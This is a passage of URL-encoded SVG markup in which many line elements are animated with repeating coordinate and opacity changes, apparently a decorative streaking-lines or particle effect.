%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22577.1859%22%20y1%3D%22296.3018%22%20x2%3D%22559.9374%22%20y2%3D%22292.5258%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22577.1859%3B597.1065%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%3B620.372%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22296.3018%3B300.6627%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%3B305.7559%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22559.9374%3B577.1859%3B597.1065%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%3B642.7103%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22292.5258%3B296.3018%3B300.6627%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%3B310.646%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22419.0981%22%20y1%3D%22143.2643%22%20x2%3D%22418.1474%22%20y2%3D%22144.1923%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22419.0981%3B424.3394%3B430.1661%3B436.682%3B444.0172%3B452.3365%3B461.8522%3B472.8424%3B485.6786%3B500.8685%3B519.1248%3B541.4804%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%3B569.4904%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22143.2643%3B138.1479%3B132.4601%3B126.0995%3B118.9392%3B110.8182%3B101.5294%3B90.8012%3B78.271%3B63.4432%3B45.6221%3B23.7995%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%3B-3.5429%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22418.1474%3B419.0981%3B424.3394%3B430.1661%3B436.682%3B444.0172%3B452.3365%3B461.8522%3B472.8424%3B485.6786%3B500.8685%3B519.1248%3B541.4804%3B569.8187%3B569.8187%3B569.8187%3B569.8187%3B569.8187%3B569.8187%3B569.8187%3B569.8187%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22144.1923%3B143.2643%3B138.1479%3B132.4601%3B126.0995%3B118.9392%3B110.8182%3B101.5294%3B90.8012%3B78.271%3B63.4432%3B45.6221%3B23.7995%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%3B-3.8634%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22131.9981%22%20y1%3D%22367.2248%22%20x2%3D%22135.1136%22%20y2%3D%22365.1165%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22131.9981%3B121.9804%3B110.835%3B98.3601%3B84.3028%3B68.3417%3B50.0617%3B28.9181%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%3B4.1808%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22367.2248%3B374.0041%3B381.5464%3B389.9884%3B399.5013%3B410.3025%3B422.673%3B436.9813%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%3B453.7215%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22135.1136%3B131.9981%3B121.9804%3B110.835%3B98.3601%3B84.3028%3B68.3417%3B50.0617%3B28.9181%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%3B-2.4807%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22365.1165%3B367.2248%3B374.0041%3B381.5464%3B389.9884%3B399.5013%3B410.3025%3B422.673%3B436.9813%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%3B458.2295%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2268.0925%22%20y1%3D%22148.6379%22%20x2%3D%2289.1633%22%20y2%3D%22156.2799%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2268.0925%3B42.7885%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%3B11.8334%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22148.6379%3B139.4606%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%3B128.2338%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2289.1633%3B68.0925%3B42.7885%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%3B-4.5459%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22156.2799%3B148.6379%3B139.4606%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%3B122.2933%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22264.9648%22%20y1%3D%22113.3043%22%20x2%3D%22269.4103%22%20y2%3D%22123.5381%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22264.9648%3B259.6628%3B253.2303%3B245.2627%3B235.1358%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%3B221.8343%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22113.3043%3B101.0986%3B86.2904%3B67.9482%3B44.6352%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%3B14.0141%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22269.4103%3B264.9648%3B259.6628%3B253.2303%3B245.2627%3B235.1358%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%3B213.1073%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22123.5381%3B113.3043%3B101.0986%3B86.2904%3B67.9482%3B44.6352%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%3B-6.0763%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22521.7326%22%20y1%3D%22451.0712%22%20x2%3D%22511.4146%22%20y2%3D%22440.2755%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22521.7326%3B533.2264%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%3B546.109%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22451.0712%3B463.097%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%3B476.5759%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22511.4146%3B521.7326%3B533.2264%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%3B549.943%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22440.2755%3B451.0712%3B463.097%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%3B480.5875%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22385.1387%22%20y1%3D%22159.2715%22%20x2%3D%22378.2719%22%20y2%3D%22167.7817%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22385.1387%3B393.8399%3B405.2242%3B420.7586%3B443.2186%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%3B478.5639%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22159.2715%3B148.4878%3B134.3789%3B115.1266%3B87.2912%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%3B43.4866%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22378.2719%3B385.1387%3B393.8399%3B405.2242%3B420.7586%3B443.2186%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%3B526.8045%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22167.7817%3B159.2715%3B148.4878%3B134.3789%3B115.1266%3B87.2912%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%3B-16.2995%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2297.476%22%20y1%3D%22202.5553%22%20x2%3D%22110.3888%22%20y2%3D%22204.7282%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2297.476%3B82.8679%3B66.207%3B47.0281%3B24.7135%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%3B-1.5742%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22202.5553%3B200.0972%3B197.2936%3B194.0663%3B190.3114%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%3B185.8879%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22110.3888%3B97.476%3B82.8679%3B66.207%3B47.0281%3B24.7135%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%3B-2.6513%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22204.7282%3B202.5553%3B200.0972%3B197.2936%3B194.0663%3B190.3114%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%3B185.7067%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22141.7393%22%20y1%3D%22474.4511%22%20x2%3D%22136.5549%22%20y2%3D%22481.2696%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22144.9396%22%20y1%3D%22257.2131%22%20x2%3D%22146.4923%22%20y2%3D%22257.0604%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22144.9396%3B135.6878%3B125.4035%3B113.9037%3B100.9593%3B86.28%3B69.4919%3B50.1053%3B27.4664%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%3B0.6818%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22257.2131%3B258.1228%3B259.134%3B260.2648%3B261.5375%3B262.9809%3B264.6316%3B266.5378%3B268.7638%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%3B271.3975%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22146.4923%3B144.9396%3B135.6878%3B125.4035%3B113.9037%3B100.9593%3B86.28%3B69.4919%3B50.1053%3B27.4664%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%3B-2.8695%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22257.0604%3B257.2131%3B258.1228%3B259.134%3B260.2648%3B261.5375%3B262.9809%3B264.6316%3B266.5378%3B268.7638%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%3B271.7467%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22557.1564%22%20y1%3D%22342.5661%22%20x2%3D%22548.3059%22%20y2%3D%22338.7384%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22557.1564%3B570.0805%3B584.4945%3B600.6716%3B618.9565%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%3B639.7899%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22342.5661%3B348.1556%3B354.3894%3B361.3857%3B369.2936%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%3B378.3037%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22548.3059%3B557.1564%3B570.0805%3B584.4945%3B600.6716%3B618.9565%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%3B641.3586%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22338.7384%3B342.5661%3B348.1556%3B354.3894%3B361.3857%3B369.2936%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%3B378.9821%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2221.9276%22%20y1%3D%22443.4949%22%20x2%3D%2225.3113%22%20y2%3D%22441.1849%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2221.9276%3B21.9276%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%3B6.133%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22443.4949%3B443.4949%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%3B454.2779%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2225.3113%3B25.3113%3B21.9276%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%3B-0.2896%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22441.1849%3B441.1849%3B443.4949%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%3B458.6626%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22467.4495%22%20y1%3D%22421.3998%22%20x2%3D%22466.5074%22%20y2%3D%22420.2408%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22467.4495%3B467.4495%3B475.2216%3B483.8587%3B493.5136%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%3B504.3775%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22421.3998%3B421.3998%3B430.9614%3B441.5872%3B453.4651%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%3B466.8304%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22466.5074%3B466.5074%3B467.4495%3B475.2216%3B483.8587%3B493.5136%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%3B515.7655%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22420.2408%3B420.2408%3B421.3998%3B430.9614%3B441.5872%3B453.4651%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%3B480.8405%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22242.0127%22%20y1%3D%2244.5751%22%20x2%3D%22242.9266%22%20y2%3D%2246.8652%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22242.0127%3B242.0127%3B237.8786%3B233.2817%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%3B228.1396%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2244.5751%3B44.5751%3B34.2156%3B22.6964%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%3B9.8111%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22242.9266%3B242.9266%3B242.0127%3B237.8786%3B233.2817%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%3B223.9791%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.8652%3B46.8652%3B44.5751%3B34.2156%3B22.6964%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%3B-0.6146%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22123.4999%22%20y1%3D%22312.9411%22%20x2%3D%22129.1316%22%20y2%3D%22310.8506%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22123.4999%3B123.4999%3B112.892%3B101.0734%3B87.8244%3B72.8684%3B55.8529%3B36.3211%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%3B13.6702%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount